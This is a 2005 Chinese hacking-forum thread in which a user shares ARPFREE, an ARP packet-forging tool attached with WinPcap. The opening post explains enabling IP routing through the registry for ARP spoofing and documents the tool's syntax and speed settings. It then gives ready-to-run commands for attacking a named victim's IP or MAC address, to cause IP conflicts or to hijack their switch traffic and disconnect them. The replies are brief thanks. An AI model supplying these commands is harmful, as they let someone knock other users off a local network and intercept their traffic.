黑色海岸线论坛 - Powered by Discuz! Board

标题: [分享]分享一个能够随意发送ARP包的工具~ [打印本页]

作者: 绿茶之星 时间: 2005-5-15 07:30 标题: [分享]分享一个能够随意发送ARP包的工具~

补充：
开始忘记说了，要使用ARP欺骗，必须启动ip路由功能，修改(添加)注册表选项：
　　  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1
下面的朋友发现打开网卡失败，原因可能就是这个~对不起，对不起~
我一个朋友做的发送ARP报文的软件，可以发送任意源，目的地址的ARP报文
我觉得挺方便的，可以结合SNIFFER做不少的事~不用老在SNIFFER里做ARP包了~
不过要安装winpacp驱动先， winpacp在附件1中（要先重命名为WinPcap_3_0.exe
再安装）因为不能上传EXE....
软件（ARPFREE）在附件2中。
发送的时候可以选择ARP的TYPE。如果是ARP请求报文，则只要输入要问的IP地址
如果是ARP应答报文则要输入发送端的IP以及对方询问MAC地址对应的IP地址
最后的发送速度可选参数为：（大小写敏感..我觉得挺不好的）
fast----------最快
hear---------每60MS一个包（可能是比较适合结合SNIFFER做监听）
slowhear---每500MS一个包
auto---------每1秒一个包
slow---------每2秒个包
使用方法如下：
***********************************************************************
* (1)Send arp packet in "request mode"  Examples:
* arpfree 0050fc272b26 000b6af80ca8 request 1.1.1.1 fast
*                      |                |             |       |       |
*          your mac address       |             |       |       |
*                      destnation mac             |       |    speed
*                                                    arp type |
*                                                                   |
*                                                          your ip address
***********************************************************************
* (2)Send arp packet in "reply mode"  Examples:
* arpfree 0050fc272b26 000b6af80ca8 reply 1.1.1.1 2.2.2.2 auto
*                      |                |             |       |       |    |
*          your mac address    |             |       |       |       |
*                               destnation mac    |       |       | speed
*                                                    arp type |       |
*                                                                   |       |
*                                                       your ip address  |
*                                                                            |
*                                                       the ip address of destnation mac
***********************************************************************
补充：反击“LAN终结者”的办法：
反击“终结者”有几个办法：
1：发动比他更强烈的攻击：
arpfree 123412341234 ffffffffffff request 192.168.237.58 fast
                                                                  |
                                                                  |
                                                      这里是你想攻击的人的IP地址
2：交换机竞争：
arpfree 00c04c395a3c 123412341234 request 1.1.1.1. fast
                  |
                  |
      这里是你想攻击的人的MAC地址
1:情况将导致他IP地址冲突（比“终结者”来的猛烈多了）
2：情况将使得他无法连接网络（由于交换机把他的流量都给你了）

作者: x86 时间: 2005-5-15 17:36 标题: [分享]分享一个能够随意发送ARP包的工具~

不错，看看先

作者: x86 时间: 2005-5-15 17:39 标题: [分享]分享一个能够随意发送ARP包的工具~

绿茶，能不能贴个源代码，我想这样更好些

作者: 绿茶之星 时间: 2005-5-16 16:30 标题: [分享]分享一个能够随意发送ARP包的工具~

呵呵，不好意思，我不懂这个东西，这个工具是朋友给我的，我看到你发了篇与这有关的关于ARP的帖子，就想起这个小工具来啦，就发出来了，希望对你有所帮助。 :)

作者: x86 时间: 2005-5-17 00:27 标题: [分享]分享一个能够随意发送ARP包的工具~

谢谢欧 :)

作者: chinanic 时间: 2005-5-17 13:39 标题: [分享]分享一个能够随意发送ARP包的工具~

din，顶，支持，好，喜欢！

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)